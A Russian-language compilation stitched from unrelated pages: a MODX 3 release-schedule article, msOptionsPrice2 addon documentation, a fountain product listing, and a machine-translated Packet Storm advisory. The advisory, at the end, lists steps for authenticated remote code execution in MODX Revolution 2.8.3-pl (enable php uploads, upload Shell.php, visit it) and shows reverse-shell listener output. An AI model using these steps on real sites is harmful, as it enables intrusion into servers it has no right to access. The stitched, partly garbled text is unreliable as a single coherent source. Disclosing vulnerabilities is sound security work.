Alpha 3 и план релизов / Русскоязычное сообщество MODX

Это не дословный перевод, а скорее компиляция информации аж из целых трех заметок, вышедших на днях на англоязычных ресурсах. Хотя многие, кто активно участвует в жизни сообщества, об этом и так уже знают. Тем не менее, давайте пройдемся еще раз по новостям.

Сразу дам все ссылки на источники, если кто желает читать в оригинале на английском:

  • MODX 3 Alpha3 Release and Release Schedule
  • New MODX3 release schedule announced & challenging agencies
  • Agencies: take the challenge!
  • Ночная сборка MODX 3 Alpha 3

График выпуска версий MODX 3

Ни для кого не секрет, что разработка MODX 3 заняла намного больше времени, чем можно было бы представить. Проведя последние несколько месяцев в работе над наиболее важными задачами, мы, команда разработчиков MODX, подошли к этапу, на котором основное внимание стоит уделить стабилизации и выпуску этого проклятого релиза. 🙂

Команда сосредоточилась на том, чтобы сохранить как можно большую обратную совместимость, перед тем, как перейти к бета-версиям. Мы ценим любой вклад, включая тестирование, все issues и pull requests, которые мы получили во время второго альфа-цикла.

Имея в виду выше сказанное, на прошлой неделе был предложен и одобрен всеми ключевыми участниками, участвующими в процессе, следующий график. Вот ключевые даты:

  • 3.0.0-alpha3 – 27 октября
  • вы сейчас здесь
  • Feature Freeze – 4 ноября
  • 3.0.0-beta1 – 8 ноября
  • 3.0.0-beta2 – 22 ноября
  • 3.0.0-rc1 – 6 января 2022
  • 3.0.0-rc2 – 17 января
  • 3.0.0-pl – 31 января
При необходимости, 31 января будет выпущен дополнительный релиз-кандидат, а окончательная версия 3.0.0-pl будет отложена на две недели (до 14 февраля).

Если вы не знакомы с именованием релизов, альфа-версия считается версией для разработки новых функций и подходит в основном только для тестирования. Бета-версия – это версия, предназначенная для других разработчиков, которые должны убедиться, что их дополнения готовы к работе с новой версией. Релиз-кандидат (rc) предназначен для более широкой аудитории и ориентирован исключительно на обеспечение стабильности, а релиз pl («уровень исправлений») является стабильным и готовым к эксплуатации.

4 ноября (или примерно) мы начнем заморозку кода, после которого никакие новые функции или улучшения не будут приняты в версию 3.0. Заманчиво конечно продолжать добавлять улучшения, особенно когда релиз находится в разработке так долго, но в какой-то момент мы все должны провести черту и отложить новые функции и улучшения до следующей версии, в данном случае до версии 3.1.

Да, но ведь было уже….
Вы правы, ранее уже обещали выпустить MODX 3 и даже даты называли, но не сдержали обещания, так что некоторый скептицизм вполне закономерен.

На этот раз ситуация отличается тем, что мы, наконец, достигли точки, в которой нет каких-то серьёзных блокирующих изменений или большого рефакторинга, которые нужно завершить. Мы сейчас думаем не столько о будущем развитии, как просто о том, чтобы получить достаточно помощи от сообщества, чтобы к концу января этот выпуск был признан стабильным.

Конечно, список идей и желаний, особенно с теми дикими обещаниями, которые давались в прошлом, огромен. Но на данный момент MODX 3 считается «достаточно хорошим», поэтому мы можем сместить фокус разработки на стабильность и совместимость. После выхода версии 3.0 мы можем перезарядиться и начать искать более амбициозные цели и реализовывать все то, что было когда-то запланировано.

Мы взялись работать в довольно жестких временных рамках, особенно в отношении релизов MODX, и мы полагаемся на активную помощь сообщества.

Нам нужна ваша помощь с тестированием
Как и в случае с любой альфа- или бета-версией, мы надеемся, что участники сообщества опробуют последнюю версию и убедятся, что всё работает должным образом. Если вам интересно, как помочь, есть более подробная статья о том, как тестировать код MODX.

Когда можно будет запускать в production?
Очевидно, что обновлять боевой сайт до альфа-версии или ночной сборки – чистой воды авантюризм.

Мы рекомендуем и даже настаиваем использовать альфа- и бета-версии только в изолированных тестовых окружениях или в промежуточных окружениях (stage), а новые проекты начинать уже с версий RC, ближащая из которых должна быть доступна в январе.

После выпуска 3.0.0-pl рекомендуется сначала обновить существующие сайты в тестовом окружении. Особенно те, которые содержат много собственных функций или специфический код, всё из-за критических изменений в версии 3.0.

Вызов для агентств от Марка

Если вы отвечаете за команду, которая создает сайты с помощью MODX, у modmore есть вызов для вас – активизироваться и принять участие в финальном спринте.

Порекомендуйте своей команде выделить хотя бы один день в неделю для работы над MODX 3, а не над клиентскими проектами. Выделите время и начните с клонирования одного или двух клиентских сайтов в тестовой среде, чтобы протестировать новые сборки MODX 3, а после сообщить о проблемах и неработающих дополнениях. А при возможности, потратить немного времени на внесение исправлений в ядро ​​и дополнения. Как только технические проблемы и совместимость будут решены, привлеките ваших редакторов или маркетологов для тестов, либо попробуйте протестировать более сложный сайт.

Понятно, что клиентские проекты важны и дают выручку, но как можно более плавный запуск MODX 3 также принесет большую пользу вашим клиентам. Клиентам определенно понравится и новый дизайн и новые функции. Тем не менее MODX 3 действительно нуждается в дополнительном тестировании и чем раньше, тем лучше.

Для агентств, которые решат эту задачу в течение как минимум 6 недель, условно считая с сегодняшнего дня ​​и до выпуска 3.0.0-pl, modmore предлагает единовременную 30% скидку на дополнения или 3 бесплатных месяца подписки на SiteDash.

Задача довольно проста:

  • Дайте хотя бы одному члену команды четыре часа рабочего времени в неделю, посвященных MODX 3. Вот прям в календаре выделите слот, например, каждую пятницу после обеда.
  • Продолжайте в том же духе в течение как минимум 6 недель – это не обязательно должно быть 6 недель подряд, но для того, чтобы претендовать на награды, нужно доказать участие по крайней мере в шесть недель между сегодняшним днем и выпуском 3. 0.0-pl.
  • Получите единовременную скидку 30% на любую покупку лицензии или 3 бесплатных месяца подписки SiteDash в течение двух месяцев после выпуска 3.0.0-pl
Чтобы запросить скидку, мы просим вас продемонстрировать, что вы справились с этой задачей. Составьте простой список дат, в которые ваша команда провела четыре часа рабочего времени на MODX 3 и включите соответствующие ссылки на issues, pull requests или краткое описание того, что было сделано или протестировано в этот день.

Напишите на почту в течение 2 месяцев после выпуска MODX 3.0.0-pl, чтобы запросить скидку или подписку на SiteDash. Единственное ограничение скидки – это то, что она предназначена для разовой покупки лицензий дополнений и должна быть использована в течение года; нет никаких ограничений на то, какие лицензии и сколько.

Если вы фрилансер или хотите решить эту задачу в свободное время, вы, конечно, также можете принять участие и получить вознаграждение для себя. 🙂

Мы также рекомендуем (но не требуем), чтобы вы публично заявляли о том, что принимаете участие в испытании. Напишите об этом в Твиттере, прокомментируйте в сообществе или поделитесь им в блоге своей компании или профиле LinkedIn, в зависимости от того, что вам больше подходит. Мы будем следить за вашим прогрессом и напоминать вам, если покажется, что вы не успеваете. Но что более важно, ваше обещание может убедить других присоединиться и это повысит уровень тестирования, которое очень необходимо для MODX 3.

Если вы с пониманием относитесь к этой задаче, но у вас действительно нет свободного времени для компании, просто подумайте о том, чтобы заплатить кому-нибудь еще, чтобы он отработал 4 часа от вашего имени. По сравнению с общей заработной платой агентства, добавление 4 часов в неделю — относительно небольшое вложение, но влияние на MODX 3 будет огромным.

В сообществе есть отличные независимые разработчики, которые были бы рады потратить больше времени на работу над MODX, если бы представилась такая возможность (если это вы, дайте о себе знать, чтобы агентства могли вас найти), Так что это отличный способ по-прежнему сделать значимое влияние на MODX 3, даже если у вас нет времени для работы.

Наконец, все пожертвования, которые мы получим до выпуска 3.0.0-pl, также будут направлены на развитие MODX 3. Мы бы предпочли, чтобы другие люди так же получили возможность поучаствовать в MODX, но мы с радостью добавим дополнительное время к 8-12 часам в неделю, уже указанным в нашем календаре (Марк 4-8 часов, Айзек и Мюррей по 2 часа каждый) по ставке 36 евро в час – 60% от стандартной почасовой ставки. Если мы получим больше пожертвований, чем мы физически можем потянуть, мы предложим вознаграждения за решение конкретных проблем и/или X часов в неделю другим разработчикам.

msOptionsPrice2 / Каталог, Поиск, Фильтрация / Дополнения MODX / modstore.pro

[msOptionsPrice2] — Новая версия с модификациями продукта. Кардинально отличается от предыдущей, просто обновиться не получится.

Видеообзор от OpenModx


В целом компонент так же работает с опциями продукта, но теперь опции привязаны к модификации продукта. Так же модификации можно задать свой артикул, вес, кол-во и конечно стоимость. Доступны все опции продукта.

Модификации продукта
На странице продукта доступна одноименная вкладка (настройка msoptionsprice_working_templates, в ней перечислить id необходимых шаблонов). Можно создать/изменить модификации продукта.

Для модификации доступны все опции продукта.

Сниппет msOptionsPrice.initialize
Предназначен для подключения стилей и скриптов на фронте сайта.
Достаточно вызвать сниппет в шаблоне продукта.

[[!msOptionsPrice.initialize?]]
Дефолтный скрипт отслеживает изменение формы продукта и подгружает данные о модификации.
Для работы скрипта необходимо добавить необходимые классы, пример чанка продукта — gist.github.com/vgrish/b6998560c6a64c0f34109a9e632b9b56

форма продукта — msoptionsprice-product
стоимость продукта — msoptionsprice-cost msoptionsprice-[[*id]]
артикул продукта — msoptionsprice-article msoptionsprice-[[*id]]
вес продукта —

msoptionsprice-mass msoptionsprice-[[*id]]

Сниппет msOptionsPrice. modification
Предназначен для вывода модификаций продукта. Часто требуется отдельно вывести информацию о различных модификациях продукта, теперь это достаточно просто сделать. Нужно вызвать сниппет

[[!msOptionsPrice.modification?]]

Картинка модификации
Можно добавить картинку модификации продукта. Доступны изображения из галереи продукта.

В чанк галереи необходимо добавить:
— класс

<div>
— идентификаторы

data-rid="{$file['product_id']}" data-iid="{$file['id']}"

пример чанка gist.github.com/vgrish/e5c7e541b33eefc4b7c0cb68ec389096
дофолтный скрипт работает с галереей fotorama.

Обработка старой цены продукта
В случае с модификациями продукта, разница может быть очень значительна и практически всегда ее сумма выглядит нелогично. Поэтому была добавлена обработка старой цены продукта.
Логика расчета очень простая

(цена продукта / старая цена продукта = цена модификации продукта / старая цена модификации продукта)
Достаточно проставить старую цену в основное поле продукта и старая стоимость модификации будет автоматически рассчитана.

Для смены на фронте нужно добавить необходимые классы. Пример чанка продукта тут gist.github.com/vgrish/b6998560c6a64c0f34109a9e632b9b56#file-gistfile1-txt-L22

В сниппете msOptionsPrice.modification поле так же доступно поле old_price.

Копия модификации
Добавлен процессор на копирование модификации.

превью в корзине
Для вывода превью модификации в корзине магазина можно использовать следующую конструкцию.
gist.github.com/vgrish/3748714377be39401799e3908efd8a59#file-mscart-tpl-L22-L35

функционал связанных опций.
Довольно часто встает вопрос о отображении тех или иных опций в зависимости от другой(их), теперь данный функционал есть из коробки.

Данный функционал реализует сниппет msOptionsPrice.option, он аналогичен сниппету msOptions и служит для вывода опций модификаций продукта.
Добавлен параметр constraintOptions — служит для задания ограничений опций, указывается в формате json, либо сразу в виде массива.

Пример вызова

{'msOptionsPrice.option' | snippet : [
'options' => 'phytomodule_color,equipment,frame_color',
'tpl' => 'phytomodule.option',
'processColors' => 1,
'constraintOptions' => [
    'phytomodule_color' => ['sizes'],
    'equipment' => ['sizes','phytomodule_color'],
    'frame_color' => ['sizes','phytomodule_color','equipment']
]
]}

В данном случае мы указываем что:
— опция phytomodule_color зависит от опции sizes
— опция equipment

зависит от опции sizes и phytomodule_color
— опция frame_color зависит от опции sizes и phytomodule_color и equipment

Пример чанка опций

{foreach $options as $name => $values}
    <div><b>{('ms2_product_' ~ $name) | lexicon}</b></div>
    <div
        {if $constraints[$name]}
            data-constraints="{$constraints[$name]| json_encode: 256 | htmlentities}"
        {/if}
        >
        {foreach $values as $value index=$index}
         
        <label>
        <input type="radio" value="{$values[$index]}" name="options[{$name}]" 
            {if $index == 0}checked="checked"{/if}
            
            {if $constraints[$name]}
                data-relations="{$relations[$name][$value]| json_encode: 256 | htmlentities}"
            {/if}
                    
            />
            {$values[$index]}
        </label>
    
        {/foreach}
    </div>
{/foreach}

data-constraints — задаем ограничения опции
data-relations — задаем связи опций
input-parent — класс, необходим для скрытия/ отображения контейнера с опцией

аналогично задается и вывод селектами

{foreach $options as $name => $values}
    <div>
        <label for="option_{$name}">{('ms2_product_' ~ $name) | lexicon}:</label>
        <div>
              
            <select name="options[{$name}]"
                {if $constraints[$name]}
                    data-constraints="{$constraints[$name]| json_encode: 256 | htmlentities}"
                {/if}
                >
                {foreach $values as $value index=$index }
                    <option value="{$value}"
                     
                    {if $constraints[$name]}
                        data-relations="{$relations[$name][$value]| json_encode: 256 | htmlentities}"
                    {/if}
                         
                    >{$value}</option>
                {/foreach}
            </select>
        </div>
    </div>
{/foreach}
пример s6200. h4.modhost.pro/6/12010.html

опции продукта
Улучшена работа с опциями продукта. Нет необходимости как прежде сначала создавать опции, а затем переключаться на модификации. Доступно создание/ удаление опций продукта напрямую из модификации.

остатки
Для работы с остатками нужно активировать настройку allow_remains.
При добавлении товара в корзину/ изменении будет проверяться доступное кол-во модификации товара и если его нет в наличии будет выдано предупреждение, сам товар в таком случае нельзя будет добавить.

Так же при оплате/ отмене заказа количество товара будет синхронизировано.
Статусы списания/ возврата остатков можно сменить в соответствующих настройках пакета.

— вызов в mFilter2
Для вывода слайдера цен с учетом модификаций необходимо положить кастомный класс фильтрации в папку и указать в настройке mse2_filters_handler_class класс msopFilters

/core/components/msearch3/custom/filters/
[[!mFilter2?
	&limit=`5`
	&parents=`0`
	&element=`msProducts`
	&setMeta=`1`
	&filters=`
		msop|price:number
		msoption|size
	`
	&tpls=`tpl. msProducts.row,tpl.msProducts.row`
	&class=`msProduct`
	&sort=`ms|price:desc`
	&tplOuter=`tpl.mFilter2.outer`

	&tplFilter.outer.msop|price=`tpl.mFilter2.filter.slider`
	&tplFilter.row.msop|price=`tpl.mFilter2.filter.number`
]]

Не пытайтесь обновиться!!! Если не уверены что оно вам нужно.

ps. Всем спасибо за внимание. Новая версия совместима с пакетом скидок Discontrol

Пример работы: s6200.h4.modhost.pro/katalog/tovar1.html

цена продукта старая цена продукта
——————————————=            ——————————————
цена модификации продукта старая цена модификации продукта

Fountains MOD X3 Набор фонтанов

    js-product-thumb-prev-arrow", "nextArrow": ".js-product-thumb-next-arrow" }»>
Синий палец

Артикул:
MODX3grp

Наличие:
1

1099,99 $

(пока отзывов нет) Написать отзыв

Blue Thumb
Набор фонтанов MOD X3

Рейтинг Обязательно Выберите Рейтинг1 звезда (худший)2 звезды3 звезды (средний)4 звезды5 звезд (лучший)

Имя Обязательно

Электронная почта Обязательно

Тема отзыва Обязательно

Комментарии Обязательно


Фонтан MOD X3 Комплект

MOD Патио-фонтаны — это минималистская скульптура музейного качества с элементом текущей воды, созданная и подписанная художником Рэнди Боландером. Каждая деталь высотой 36 дюймов изготовлена ​​из кортеновской стали или нержавеющей стали, а затем окрашена порошковой краской в ​​красивый цвет, чтобы эффектно выделиться в любом саду.
• Насос
• Сантехника
• Черная полированная галька

Высота:
36.00 (в)

MODX Revolution 2.8.3-pl Удаленное выполнение кода ≈ Packet Storm

MODX Revolution 2.8.3-pl Удаленное выполнение кода ≈ Packet Storm

то, чего вы не знаете, может навредить вам

Регистрация | Логин

ФайлыНовостиПользователиАвторы

Главная Файлы Новости &[SERVICES_TAB]О нас Контакты Добавить новый

MODX Revolution 2.8.3-pl Удаленное выполнение кода
Опубликовано 27 марта 2023 г.
Автор Саранг Тумне

MODX Revolution версии 2.8.3-pl содержит уязвимость, связанную с аутентифицированным удаленным выполнением кода.

тега | эксплойт, удаленный, выполнение кода
рекомендации | CVE-2022-26149
ША-256 | 100e840799c1cea885ad15181a42151db6ba534a71b8c697212d3a5247d658e0
Загрузить | Избранное | Посмотреть

Change Mirror Download

 # Название эксплойта: MODX Revolution v2.8.3-pl - Аутентифицированное удаленное выполнение кода 
# Автор эксплойта: Sarang Tumne @CyberInsane (Twitter: @thecyberinsane)
# Дата: 26 февраля 2022 г.
# Идентификатор CVE: CVE-2022-26149
# Подтверждено в выпуске 2.8.3-pl
# Ссылка: https:/ /github.com/sartlabs/0days/blob/main/Modx/Exploit.txt
# Поставщик: https://modx.com/download

#################### ############################################################################################################################################################################################################################
#Шаг1-Вход с учетными данными администратора
#Шаг2- Загрузка файлов . php отключена по умолчанию, поэтому нам нужно злоупотребить функциональностью:
Добавьте расширение файла php в параметр «Типы загружаемых файлов», доступный в «Системных настройках»
#Шаг3- Теперь перейдите в Media=>Media Browser и загрузите Shell.php
#Шаг4- Теперь посетите http://IP_Address/Shell.php и получите обратную оболочку:

прослушивание [любого] 4477 ...
подключиться к [192.168.56.1] из (НЕИЗВЕСТНО) [192.168.56.130] 58056
bash: невозможно установить группу терминальных процессов (1445): неподходящий ioctl для устройства
bash: в этой оболочке нет управления заданиями
daemon@debian:/opt/ bitnami/modx$

  • Следуйте за нами в Твиттере
  • Следуйте за нами на Facebook
  • Подписаться на RSS-канал

Файловый архив:

Май 2023

  • Вс
  • Пн
  • Вт
  • Ср
  • Чт
  • Пт
  • Сб
  • 9000 4
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31

Лучшие авторы за последние 30 дней

  • Red Hat 268 файлов
  • Ubuntu 85 файлов
  • Gentoo 24 файла
  • Debian 18 файлов
  • Google Security Research 17 файлов
  • Мираббас Агаларов 13 файлов
  • CraCker 12 файлов
  • Иван Фратрич 8 файлов
  • Ахмет Умит Байрам 7 файлов
  • Кристоф Марл 7 файлов

Теги файлов

  • ActiveX (932)
  • Консультативный (81 187)
  • Произвольный (16 018)
  • BBS (2 859)
  • Обход (1, 690)
  • CGI (1 024)
  • Исполнение кода (7 128)
  • Конференция (677)
  • Взломщик (841)
  • CSRF (3315)
  • DoS (23129)
  • Шифрование (2360)
  • Эксплойт (51088)
  • Включение файла (4 193)
  • Загрузка файлов (952)
  • Брандмауэр (821)
  • Раскрытие информации (2 712)
  • Обнаружение вторжений (883)
  • Java (2 998)
  • JavaScript (838)
  • Ядро (6 550)
  • Локальный (14, 376)
  • Магазин (586)
  • Перелив (12 597)
  • Перл (1421)
  • PHP (5 123)
  • Проверка концепции (2 302)
  • Протокол (3 559)
  • Python (1 499)
  • Удаленный (30 474)
  • Корень (3,55) 2)
  • Руткит (505)
  • Рубин (607)
  • Сканер (1633)
  • Инструмент безопасности (7845)
  • Шелл (3159)
  • Шеллкод (1211)
  • Сниффер (892)
  • Подделка (2,1 89)
  • Внедрение SQL (16 219)
  • TCP (2 394)
  • Троян (687)
  • UDP (883)
  • Вирус (664)
  • Уязвимость (31 548)
  • Интернет (9 548)
  • Технический документ (3 742)
  • x86 (958)
  • XSS (17,6 68)
  • Другое

Файловые архивы

  • Май 2023
  • Апрель 2023
  • Март 2023
  • Февраль 2023
  • Январь 2023
  • Декабрь 2022
  • Ноябрь 2022
  • Октябрь 2022 9 0004
  • сентябрь 2022 г.